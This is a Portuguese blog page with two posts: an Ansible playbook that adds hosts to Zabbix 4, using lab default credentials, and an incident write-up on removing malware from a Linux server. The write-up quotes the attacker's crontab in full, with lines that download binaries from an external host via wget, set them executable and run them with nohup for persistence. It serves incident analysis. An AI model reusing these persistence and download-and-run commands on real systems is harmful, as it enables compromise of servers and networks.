Linux

Adicionando hosts no Zabbix 4 com Ansible

Oi, voltei 🙂
Hoje devemos ser cada vez mais rápidos, logo devemos usar ferramentas ideais para isso, alguns desenvolvem elas rsrsr, recentemente em um cliente precisei levantar um ZABBIX na versão atual [4], e adicionar os hosts da infraestrutura rapidamente no monitoramento, para isso fiz uso do ANSIBLE, essa ferramenta acelerou muito meu projeto.
Olha o script …
---
- hosts: zabbixS
port: 22
vars_files:
- ./vars_hosts_zabbix.yml
tasks:
- name: Create new host
local_action:
module: zabbix_host
server_url: http://{{ zabbix_server }}/zabbix
login_user: "{{ user }}"
login_password: "{{ pass }}"
host_name: "{{ item.hostname }}"
visible_name: "{{ item.name }}"
description: "{{ descricao }}"
host_groups:
- "{{ srv_linux }}"
link_templates:
- "{{ template1 }}"
#- "{{ template2 }}"
- "{{ template3 }}"
status: enabled
state: present
inventory_mode: automatic
interfaces:
- type: 1
main: 1
useip: 1
ip: "{{ item.ip }}"
dns: "{{ item.hostname }}"
port: 10050
- type: 2
main: 1
useip: 1
ip: "{{ item.ip }}"
dns: "{{ item.hostname }}"
port: 161
with_items: "{{ host_add }}"
- name: Create a new host macro or update an existing macro's value
local_action:
module: zabbix_hostmacro
server_url: http://{{ zabbix_server }}/zabbix
login_user: "{{ user }}"
login_password: "{{ pass }}"
host_name: "{{ item.hostname }}"
macro_name: SNMP_COMMUNITY
macro_value: "{{comunidade}}"
state: present
with_items: "{{ host_add }}"
essas são as variáveis
zabbix_server: 172.25.250.254
user: Admin
pass: zabbix
template1: Template App Zabbix Agent
template2: Template OS Linux
template3: Template OS Linux SNMPv2
srv_linux: Linux servers
descricao: Servidores da v4 do zabbix
comunidade: hulk
# Nome dos servidores (esta lista é a que será enviada para o servidor de zabbix)
host_add:
- { name: 'zabbixP',hostname: 'zabbixP.lab.zabbix.com',ip: '172.25.250.253' }
- { name: 'zabbixC1',hostname: 'zabbixC1.lab.zabbix.com',ip: '172.25.250.252' }
- { name: 'zabbixC2',hostname: 'zabbixC2.lab.zabbix.com',ip: '172.25.250.251' }
- { name: 'zabbixC3',hostname: 'zabbixC3.lab.zabbix.com',ip: '172.25.250.250' }
- { name: 'arduino_1',hostname: 'arduino_1.lab.zabbix.com',ip: '192.168.51.133' }
Códigos: https://github.com/laurobmb/ZabbixAddHostsAnsible
fonte: https://docs.ansible.com/ansible/latest/modules/zabbix_host_module.html

 

Standard
Hack's

Malware no Linux

Bom dia, boa tarde ou boa noite … 🙂

Hoje foi um dia inusitado, fui chamado para um trabalho e me deparei com um servidor Linux comprometido por um MALWARE, sim um MALWARE que estava instalado na máquina, como não e comum vermos isso nos servidores, vamos a remoção, mas também anotações para poder divulgar, vamos lá.

Identificação

Primeiro de tudo, vamos aos pontos que tenho absoluta certeza que foram estes que levaram a invasão deste servidor,

1 – O firewall mantinha a senha padrão de instalação, isso mesmo a padrão, era um appliance cuja a marca não vem ao caso;

2 – Ainda no firewall havia uma regra de encaminhamento da conexão usada pelo protocolo SSH, na porta padrão 22, diretamente para o servidor que hospedava o MALWARE;

3 – A senha de root fraca;

Estes pontos foram cruciais para comprometer o servidor, ainda que possam existir casos de ambientes que não poderemos bloquear o acesso do usuário root diretamente, podemos ao menos dificultar seu acesso.
A caçada

Ao observar a rede notei diversas quedas de comunicação com o gateway, impossibilitando a conexão de rede de todos desktops da LAN, ao ser informado pelo contratante que ao desligar o servidor Linux a rede voltava ao seu estado normal me concentrei apenas nesta máquina.
O servidor apresentava altos consumos de CPU e memória em diversos momentos, cronometrados até, ao observar os processos que estavam sendo executados na maquina me levou a perceber que o processo que causava o aumento de consumo mudava com muita frequência, logo tentei verificar quem executa o tal processo, chegando scripts de inicialização achei uma informação importante:

/etc/init.d/.SSH2
/etc/init.d/.SSHH2

estes apontavam para um executável dento de /etc/.SSH2, que por sua vez executava os seguintes arquivos:

/etc/gfhjrtfyhuf
/etc/sfewfesfs
/etc/gdmorpen
/etc/fdsfsfvff
/etc/rewgtf3er4t
/etc/smarvtd
/etc/whitptabil
/tmp/gfhjrtfyhuf
/tmp/sfewfesfs
/tmp/gdmorpen
/tmp/fdsfsfvff
/tmp/rewgtf3er4t
/tmp/smarvtd
/tmp/whitptabil

O servidor mantinha conexão com um IP externo alocado na China, por causa de um dos arquivos citados acima, a informação foi verificada usando os comandos netstat e lsof:

netstat -tupan

A saída deste comando mostrava o número do processo, quem executava e a conexão, com o número do processo executei o comando:

lsof -p “PID”

Capturei mais informações sobre este arquivo.

O processo criava uns arquivos “/tmp/.sshdd140*” que em pouco tempo tomavam a CPU da maquina inteira impossibilitando a conexão, e o que é pior, neste momento o servidor tentará fazer spoofing na rede inteira, fazendo todas as conexões caírem no /dev/null.

Ao remover os arquivos, o que acontecia??? eles se criavam novamente … 😦
Mas ai ficou mais fácil, vamos analisar a CRON, buscando informações no serviço dentre seus arquivos encontrei no /var/spool/cron/root as seguintes entradas:

*/99 * * * * killall -9 fdsfsfvff
*/98 * * * * killall -9 gfhjrtfyhuf
*/97 * * * * killall -9 fdsfsfvff
*/96 * * * * killall -9 rewgtf3er4t
*/95 * * * * killall -9 whitptabil
*/94 * * * * killall -9 gdmorpen
*/120 * * * * cd /etc; wget -c http://www.frade8c.com:9162/gfhjrtfyhuf
*/120 * * * * cd /etc; wget -c http://www.frade8c.com:9162/sfewfesfs
*/130 * * * * cd /etc; wget -c http://www.frade8c.com:9162/fdsfsfvff
*/130 * * * * cd /etc; wget -c http://www.frade8c.com:9162/smarvtd
*/140 * * * * cd /etc; wget -c http://www.frade8c.com:9162/rewgtf3er4t
*/140 * * * * cd /etc; wget -c http://www.frade8c.com:9162/whitptabil
*/120 * * * * cd /etc; wget -c http://www.frade8c.com:9162/gdmorpen
*/120 * * * * cd /root;rm -rf dir nohup.out
*/360 * * * * cd /etc;rm -rf dir gfhjrtfyhuf
*/360 * * * * cd /etc;rm -rf dir gdmorpen
*/360 * * * * cd /etc;rm -rf dir fdsfsfvff
*/360 * * * * cd /etc;rm -rf dir rewgtf3er4t
*/360 * * * * cd /etc;rm -rf dir smarvtd
*/360 * * * * cd /etc;rm -rf dir whitptabil
*/1 * * * * cd /etc;rm -rf dir sfewfesfs.*
*/1 * * * * cd /etc;rm -rf dir gfhjrtfyhuf.*
*/1 * * * * cd /etc;rm -rf dir gdmorpen.*
*/1 * * * * cd /etc;rm -rf dir fdsfsfvff.*
*/1 * * * * cd /etc;rm -rf dir rewgtf3er4t.*
*/1 * * * * cd /etc;rm -rf dir smarvtd.*
*/1 * * * * cd /etc;rm -rf dir whitptabil.*
*/1 * * * * chmod 7777 /etc/gfhjrtfyhuf
*/1 * * * * chmod 7777 /etc/sfewfesfs
*/1 * * * * chmod 7777 /etc/gdmorpen
*/1 * * * * chmod 7777 /etc/fdsfsfvff
*/1 * * * * chmod 7777 /etc/rewgtf3er4t
*/1 * * * * chmod 7777 /etc/smarvtd
*/1 * * * * chmod 7777 /etc/whitptabil
*/1 * * * * chmod 7777 /tmp/gfhjrtfyhuf
*/1 * * * * chmod 7777 /tmp/sfewfesfs
*/1 * * * * chmod 7777 /tmp/gdmorpen
*/1 * * * * chmod 7777 /tmp/fdsfsfvff
*/1 * * * * chmod 7777 /tmp/rewgtf3er4t
*/1 * * * * chmod 7777 /tmp/smarvtd
*/1 * * * * chmod 7777 /tmp/whitptabil
*/120 * * * * nohup /tmp/whitptabil > /dev/null 2>&1&
*/120 * * * * nohup /tmp/smarvtd > /dev/null 2>&1&
*/120 * * * * nohup /tmp/rewgtf3er4t > /dev/null 2>&1&
*/120 * * * * nohup /tmp/fdsfsfvff > /dev/null 2>&1&
*/120 * * * * nohup /tmp/gdmorpen > /dev/null 2>&1&
*/120 * * * * nohup /tmp/sfewfesfs > /dev/null 2>&1&
*/99 * * * * nohup /etc/sfewfesfs > /dev/null 2>&1&
*/100 * * * * nohup /etc/fdsfsfvff > /dev/null 2>&1&
*/99 * * * * nohup /etc/gfhjrtfyhuf > /dev/null 2>&1&
*/98 * * * * nohup /etc/fdsfsfvff > /dev/null 2>&1&
*/97 * * * * nohup /etc/rewgtf3er4t > /dev/null 2>&1&
*/96 * * * * nohup /etc/whitptabil > /dev/null 2>&1&
*/95 * * * * nohup /etc/gdmorpen > /dev/null 2>&1&
*/1 * * * * echo “unset MAILCHECK” >> /etc/profile

Vejam todas entradas maliciosas que estavam configuradas.

Somente após todas as remoces devidas e configurações segundo as boas praticas de segurança no servidor e no firewall, pude comemorar 🙂

Vivendo aprendendo e debugando… 🙂

Standard